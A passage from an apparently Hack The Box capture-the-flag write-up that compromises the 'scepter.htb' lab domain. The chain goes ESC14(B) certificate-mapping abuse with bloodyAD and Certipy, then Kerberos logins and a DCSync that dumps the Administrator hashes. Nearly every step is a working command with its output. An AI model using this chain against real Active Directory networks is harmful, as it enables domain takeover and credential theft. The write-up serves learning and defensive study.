ref: ldap://DomainDnsZones.scepter.htb/DC=DomainDnsZones,DC=scepter,DC=htb

# search reference
ref: ldap://scepter.htb/CN=Configuration,DC=scepter,DC=htb

# search result
search: 2
result: 0 Success

# numResponses: 5
# numEntries: 1
# numReferences: 3

The highlighted output reveals that h.brown is vulnerable to impersonation via RFC822 certificate mapping.

Now we have all conditions ratified, to abuse ESC14(B), we need:

  • A user who:
    • Can enroll in the vulnerable certificate template (i.e., d.baker in the staff group)
    • Has write access to their own mail attribute (a.carter user with GenericALL on relevant OU, but not on d.baker itself)

Our target on the exploit will be:

altSecurityIdentities (target) = X509:<RFC822>[email protected]
mail (victim) = [email protected]

This causes the issued certificate for d.baker to bind to h.brown, thanks to the RFC822-based mapping. And eventually compromise the target h.brown user.

Exploit Steps

Here's the refined plan to compromise h.brown using the misconfigured StaffAccessCertificate template — pivoting through d.baker by hijacking his mail attribute from:

CN=Users, CN=d.baker, [email protected]

Step 1: Modify mail of the victim account (d.baker)

As a.carter, who is a member of IT SUPPORT with GenricAll on the OU (see here), we can first become its owner:

Bash
bloodyAD --host dc01.scepter.htb -d scepter.htb \
    -u a.carter -p 'Axura4sure~' \
    set owner "OU=Staff Access Certificate,DC=scepter,DC=htb" \
    a.carter

This will replace use for the old owner:

Being the owner we can now grant ourselves genericALL priv on the OU:

Bash
bloodyAD --host dc01.scepter.htb -d scepter.htb \
    -u a.carter -p 'Axura4sure~' \
    add genericAll "OU=Staff Access Certificate,DC=scepter,DC=htb" \
    a.carter

Wit sufficient rights, now we can change d.baker's mail to match h.brown's altSecurityIdentities mapping:

Bash
bloodyAD --host dc01.scepter.htb -d scepter.htb \
    -u a.carter -p 'Axura4sure~' \
    set object d.baker mail \
    -v '[email protected]'

Step 2: Enroll d.baker for certificate with StaffAccessCertificate

Bash
./ft.sh $target_ip \
certipy req -u 'd.baker'@scepter.htb -hashes ':18b5fb0d99e7a475316213c15b6f22ce' \
  -ca scepter-DC01-CA -template StaffAccessCertificate \
  -target dc01.scepter.htb

This will output a .pfx file containing a certificate impersonating h.brown:

Step 3: Authenticate as h.brown

$ ./ft.sh $target_ip \
    certipy auth -pfx d.baker.pfx \
    -username h.brown -domain scepter.htb \
    -dc-ip $target_ip
    
[*] Querying offset from: 10.129.▒▒.▒▒
[*] faketime -f format: +28801.086873
28801.086873s
[*] Running: certipy auth -pfx d.baker.pfx -username h.brown -domain scepter.htb -dc-ip 10.129.▒▒.▒▒
Certipy v4.8.2 - by Oliver Lyak (ly4k)

[!] Could not find identification in the provided certificate
[*] Using principal: [email protected]
[*] Trying to get TGT...
[*] Got TGT
[*] Saved credential cache to 'h.brown.ccache'
[*] Trying to retrieve NT hash for 'h.brown'
[*] Got hash for '[email protected]': aad3b435b51404eeaad3b435b51404ee:4ecf5242092c6fb8c360a08069c75a0c

We will now obtain a TGT and NT hash of h.brown.

Step 4: Evil-WinRM Shell as h.brown

NTLM hash seems to banned from remote login, but Kerberos ticket works fine:

$ nxc winrm $target_ip -u h.brown -H 4ecf5242092c6fb8c360a08069c75a0c
WINRM       10.129.▒▒.▒▒  5985   DC01             [*] Windows 10 / Server 2019 Build 17763 (name:DC01) (domain:scepter.htb)
WINRM       10.129.▒▒.▒▒  5985   DC01             [-] scepter.htb\h.brown:4ecf5242092c6fb8c360a08069c75a0c

$ klist h.brown.ccache
Ticket cache: FILE:h.brown.ccache
Default principal: [email protected]

Valid starting       Expires              Service principal
04/20/2025 08:23:51  04/20/2025 12:23:51  krbtgt/[email protected]
        renew until 04/20/2025 12:23:51
        
$ export KRB5CCNAME=h.brown.ccache

Configure /etc/krb5.conf:

[libdefaults]
    default_realm = SCEPTER.HTB
    dns_lookup_realm = false
    dns_lookup_kdc = false

[realms]
    SCEPTER.HTB = {
        kdc = dc01.scepter.htb
        default_domain = scepter.htb
    }

[domain_realm]
    .scepter.htb = SCEPTER.HTB
    scepter.htb = SCEPTER.HTB

Then we can use evil-winrm to login with the Kerberos ticket:

Bash
./ft.sh $target_ip \
evil-winrm -i dc01.scepter.htb -r SCEPTER.HTB 

And take the user flag here:

ROOT

Enum

After compromising a new user — in this case, h.brown — we immediately test our foothold by mapping out writable attributes using bloodyAD get writable module:

$ ./ft.sh $target_ip \
bloodyAD --host dc01.scepter.htb -d scepter.htb \
    -u h.brown -k \
    get writable --detail
    
[...]

distinguishedName: CN=p.adams,OU=Helpdesk Enrollment Certificate,DC=scepter,DC=htb
altSecurityIdentities: WRITE

We verified that h.brown possesses write access to the altSecurityIdentities attribute of p.adams, whose OU is Helpdesk Enrollment Certificate. This sounds reasonable as we identified h.brown's membership in the Helpdesk Admins group (as revealed via BloodHound earlier):

Again, this aligns perfectly with an ESC14 (B) abuse path — where a compromised user can modify another user's altSecurityIdentities attribute.

ESC14 (B)

This time, we execute the modification inside h.brown's winrm shell. With the wirte priv, we are able to assign the X509 identity to p.adams to himself directly, spoofing the target:

PowerShell
$victim = [ADSI]"LDAP://CN=p.adams,OU=Helpdesk Enrollment Certificate,DC=scepter,DC=htb"
$victim.Properties["altSecurityIdentities"].Value = "X509:<RFC822>[email protected]"
$victim.CommitChanges()

Now we follow the same logic — weaponizing the d.baker account (eligible for enrollment) to impersonate p.adams (no winder his name is baker!):

Bash
# Change password for a.carter, as there's a cleanup script
bloodyAD --host "dc01.scepter.htb" -d "scepter.htb" \
    -u 'd.baker' -p ':18b5fb0d99e7a475316213c15b6f22ce' \
    set password "a.carter" 'Axura4sure~'

# Set a.carter owner of the "Staff Access" OU
bloodyAD --host dc01.scepter.htb -d scepter.htb \
    -u a.carter -p 'Axura4sure~' \
    set owner "OU=Staff Access Certificate,DC=scepter,DC=htb" \
    a.carter
    
# Grant GenericAll for a.carter on the target OU
bloodyAD --host dc01.scepter.htb -d scepter.htb \
    -u a.carter -p 'Axura4sure~' \
    add genericAll "OU=Staff Access Certificate,DC=scepter,DC=htb" \
    a.carter
    
# Hijack mail attr of the enrollable d.baker to victim p.adam
bloodyAD --host dc01.scepter.htb -d scepter.htb \
    -u a.carter -p 'Axura4sure~' \
    set object d.baker mail \
    -v '[email protected]'

We're now primed to request a certificate for p.adams — while operating as d.baker with Certipy:

ShellSession
$ ./ft.sh $target_ip \
certipy req -u 'd.baker'@scepter.htb -hashes ':18b5fb0d99e7a475316213c15b6f22ce' \
    -ca scepter-DC01-CA -template StaffAccessCertificate \
    -target dc01.scepter.htb

[*] Querying offset from: 10.129.▒▒.▒▒
[*] faketime -f format: +28801.171925
28801.171925s
[*] Running: certipy req -u [email protected] -hashes :18b5fb0d99e7a475316213c15b6f22ce -ca scepter-DC01-CA -template StaffAccessCertificate -target dc01.scepter.htb
Certipy v4.8.2 - by Oliver Lyak (ly4k)

[*] Requesting certificate via RPC
[*] Successfully requested certificate
[*] Request ID is 13
[*] Got certificate without identification
[*] Certificate has no object SID
[*] Saved certificate and private key to 'd.baker.pfx'

Re-authenticate:

ShellSession
$ ./ft.sh $target_ip \
certipy auth -pfx d.baker.pfx \
    -username p.adams -domain scepter.htb \
    -dc-ip $target_ip
    
[*] Querying offset from: 10.129.▒▒.▒▒
[*] faketime -f format: +28801.187549
28801.187549s
[*] Running: certipy auth -pfx d.baker.pfx -username p.adams -domain scepter.htb -dc-ip 10.129.▒▒.▒▒
Certipy v4.8.2 - by Oliver Lyak (ly4k)

[!] Could not find identification in the provided certificate
[*] Using principal: [email protected]
[*] Trying to get TGT...
[*] Got TGT
[*] Saved credential cache to 'p.adams.ccache'
[*] Trying to retrieve NT hash for 'p.adams'
[*] Got hash for '[email protected]': aad3b435b51404eeaad3b435b51404ee:1b925c524f447bb821a8789c4b118ce0

DCSync

The final act — p.adams holds DCSync rights (as seen in previous BloodHound output). With the TGT loaded via ccache, we trigger:

ShellSession
$ export KRB5CCNAME=./p.adams.ccache

$ klist
Ticket cache: FILE:./p.adams.ccache
Default principal: [email protected]

Valid starting       Expires              Service principal
04/20/2025 10:18:40  04/20/2025 20:18:40  krbtgt/[email protected]
renew until 04/21/2025 10:18:30

$ ./ft.sh $target_ip \
secretsdump.py -k -no-pass \
	scepter.htb/[email protected] \
  -dc-ip $target_ip -just-dc-user administrator
    
[*] Querying offset from: 10.129.▒▒.▒▒
[*] faketime -f format: +28801.191163
28801.191163s
[*] Running: secretsdump.py -k -no-pass scepter.htb/[email protected] -dc-ip 10.129.▒▒.▒▒ -just-dc-user administrator
Impacket v0.12.0 - Copyright Fortra, LLC and its affiliated companies

[*] Dumping Domain Credentials (domain\uid:rid:lmhash:nthash)
[*] Using the DRSUAPI method to get NTDS.DIT secrets
Administrator:500:aad3b435b51404eeaad3b435b51404ee:a291ead3493f9773dc615e66c2ea21c4:::
[*] Kerberos keys grabbed
Administrator:aes256-cts-hmac-sha1-96:cc5d676d45f8287aef2f1abcd65213d9575c86c54c9b1977935983e28348bcd5
Administrator:aes128-cts-hmac-sha1-96:bb557b22bad08c219ce7425f2fe0b70c
Administrator:des-cbc-md5:f79d45bf688aa238
[*] Cleaning up...

Evil-winrm as Administrator with its NT hash and take the root flag:

Rooted.


#define LABYRINTH (void *)alloc_page(GFP_ATOMIC)